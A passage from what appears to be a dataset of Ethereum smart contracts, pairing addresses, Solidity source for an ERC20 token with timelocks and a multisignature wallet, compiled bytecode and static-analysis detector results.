6000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461091b57600080fd5b919050565b6000806040838503121561093357600080fd5b61093c83610904565b946020939093013593505050565b60008060006060848603121561095f57600080fd5b61096884610904565b925061097660208501610904565b9150604084013590509250925092565b60006020828403121561099857600080fd5b6106cb82610904565b600080604083850312156109b457600080fd5b6109bd83610904565b91506109cb60208401610904565b90509250929050565b600181811c908216806109e857607f821691505b60208210811415610a0957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610a3757610a37610a0f565b500390565b600060208284031215610a4e57600080fd5b815180151581146106cb57600080fd5b60008219821115610a7157610a71610a0f565b50019056fea2646970667358221220c79d4e3aa10534071d002aa3505199170f235e449410790d325eb5f18c2c405664736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,796
0x9150ac61dc65730d5307f9c9e1a6c7482a452f44
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; constructor( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public { // solium-disable-next-line security/no-block-members require(_releaseTime > block.timestamp); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solium-disable-next-line security/no-block-members require(block.timestamp >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BonumToken is StandardToken, Ownable { string public constant name = "BonumToken"; string public constant symbol = "BONUM"; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 65000000 * (10 ** uint256(decimals)); address public bounty; address public advisors; bool public burnt = false; TokenTimelock public reserveTimelock; TokenTimelock public teamTimelock; event Burn(address indexed burner, uint256 value); constructor(address _bounty, address _reserve, address _team, address _advisors, uint releaseTime) public { require(_bounty != address(0)); require(_reserve != address(0)); require(_advisors != address(0)); totalSupply_ = INITIAL_SUPPLY; bounty = _bounty; advisors = _advisors; reserveTimelock = new TokenTimelock(this, _reserve, releaseTime); teamTimelock = new TokenTimelock(this, _team, releaseTime); uint factor = (10 ** uint256(decimals)); balances[bounty] = 1300000 * factor; balances[reserveTimelock] = 13000000 * factor; balances[teamTimelock] = 9750000 * factor; balances[msg.sender] = 34450000 * factor; } /** * @dev Burns a specific amount of tokens, could be called only once * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(!burnt); require(_value > 0); require(_value <= balances[msg.sender]); require(block.timestamp < 1688169600); //tokens are available to be burnt only for 5 years balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); burnt = true; emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); } /** * @dev Moves locked tokens to reserve account. Could be called only after release time, * otherwise would throw an exeption. */ function releaseReserveTokens() public { reserveTimelock.release(); } /** * @dev Moves locked tokens to team account. Could be called only after release time, * otherwise would throw an exeption. */ function releaseTeamTokens() public { teamTimelock.release(); } }
0x6080604052600436106101195763ffffffff60e060020a60003504166306fdde03811461011e578063095ea7b3146101a857806314c411c7146101e057806318160ddd146101f757806323b872dd1461021e5780632ff2e9dc14610248578063313ce5671461025d57806342966c68146102885780634fed6a10146102a057806366188463146102d157806370a08231146102f5578063715018a61461031657806389cf56041461032b5780638da5cb5b14610340578063943dfef11461035557806395d89b411461036a578063a9059cbb1461037f578063b192da2d146103a3578063b4f3b453146103b8578063d73dd623146103cd578063dd62ed3e146103f1578063edcfd05014610418578063f2fde38b1461042d575b600080fd5b34801561012a57600080fd5b5061013361044e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016d578181015183820152602001610155565b50505050905090810190601f16801561019a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b457600080fd5b506101cc600160a060020a0360043516602435610485565b604080519115158252519081900360200190f35b3480156101ec57600080fd5b506101f56104eb565b005b34801561020357600080fd5b5061020c610558565b60408051918252519081900360200190f35b34801561022a57600080fd5b506101cc600160a060020a036004358116906024351660443561055e565b34801561025457600080fd5b5061020c6106d5565b34801561026957600080fd5b506102726106e4565b6040805160ff9092168252519081900360200190f35b34801561029457600080fd5b506101f56004356106e9565b3480156102ac57600080fd5b506102b561084d565b60408051600160a060020a039092168252519081900360200190f35b3480156102dd57600080fd5b506101cc600160a060020a036004351660243561085c565b34801561030157600080fd5b5061020c600160a060020a036004351661094c565b34801561032257600080fd5b506101f5610967565b34801561033757600080fd5b506101f56109d5565b34801561034c57600080fd5b506102b5610a28565b34801561036157600080fd5b506102b5610a37565b34801561037657600080fd5b50610133610a46565b34801561038b57600080fd5b506101cc600160a060020a0360043516602435610a7d565b3480156103af57600080fd5b506101cc610b5e565b3480156103c457600080fd5b506102b5610b7f565b3480156103d957600080fd5b506101cc600160a060020a0360043516602435610b8e565b3480156103fd57600080fd5b5061020c600160a060020a0360043581169060243516610c27565b34801561042457600080fd5b506102b5610c52565b34801561043957600080fd5b506101f5600160a060020a0360043516610c61565b60408051808201909152600a81527f426f6e756d546f6b656e00000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600760009054906101000a9004600160a060020a0316600160a060020a03166386d1a69f6040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561053e57600080fd5b505af1158015610552573d6000803e3d6000fd5b50505050565b60015490565b6000600160a060020a038316151561057557600080fd5b600160a060020a03841660009081526020819052604090205482111561059a57600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156105ca57600080fd5b600160a060020a0384166000908152602081905260409020546105f3908363ffffffff610c8416565b600160a060020a038086166000908152602081905260408082209390935590851681522054610628908363ffffffff610c9616565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461066a908363ffffffff610c8416565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6a35c4490f820855e100000081565b601281565b600354600160a060020a0316331461070057600080fd5b60055474010000000000000000000000000000000000000000900460ff161561072857600080fd5b6000811161073557600080fd5b3360009081526020819052604090205481111561075157600080fd5b63649f6c80421061076157600080fd5b33600090815260208190526040902054610781908263ffffffff610c8416565b336000908152602081905260409020556001546107a4908263ffffffff610c8416565b6001556005805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051828152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b600754600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156108b157336000908152600260209081526040808320600160a060020a03881684529091528120556108e6565b6108c1818463ffffffff610c8416565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461097e57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600660009054906101000a9004600160a060020a0316600160a060020a03166386d1a69f6040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561053e57600080fd5b600354600160a060020a031681565b600454600160a060020a031681565b60408051808201909152600581527f424f4e554d000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610a9457600080fd5b33600090815260208190526040902054821115610ab057600080fd5b33600090815260208190526040902054610ad0908363ffffffff610c8416565b3360009081526020819052604080822092909255600160a060020a03851681522054610b02908363ffffffff610c9616565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60055474010000000000000000000000000000000000000000900460ff1681565b600654600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054610bc2908363ffffffff610c9616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a031681565b600354600160a060020a03163314610c7857600080fd5b610c8181610ca9565b50565b600082821115610c9057fe5b50900390565b81810182811015610ca357fe5b92915050565b600160a060020a0381161515610cbe57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058204b9c5ebab7612af1b018e7a6b2c94e954251672aae9104a3da3c6136a0dbc9770029
{"success": true, "error": null, "results": {}}
2,797
0x0acc23Af96F4c43cf61E639cFc5C0937b9E07E7C
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3a565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5a565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d89565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1b565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611020565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b5061041660048036038101908080359060200190929190505050611105565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111d0565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112c5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611353565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114c4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be611701565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff60048036038101908080359060200190929190505050611707565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117c1565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061199e565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119bd565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119c2565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c8565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cdd565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b91906120fe565b506003805490506004541115610b4a57610b49600380549050611707565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610c8657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1457838015610dc8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610dfb5750828015610dfa575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e07576001820191505b8080600101915050610d91565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5557600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610eaf57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610ed657600080fd5b6001600380549050016004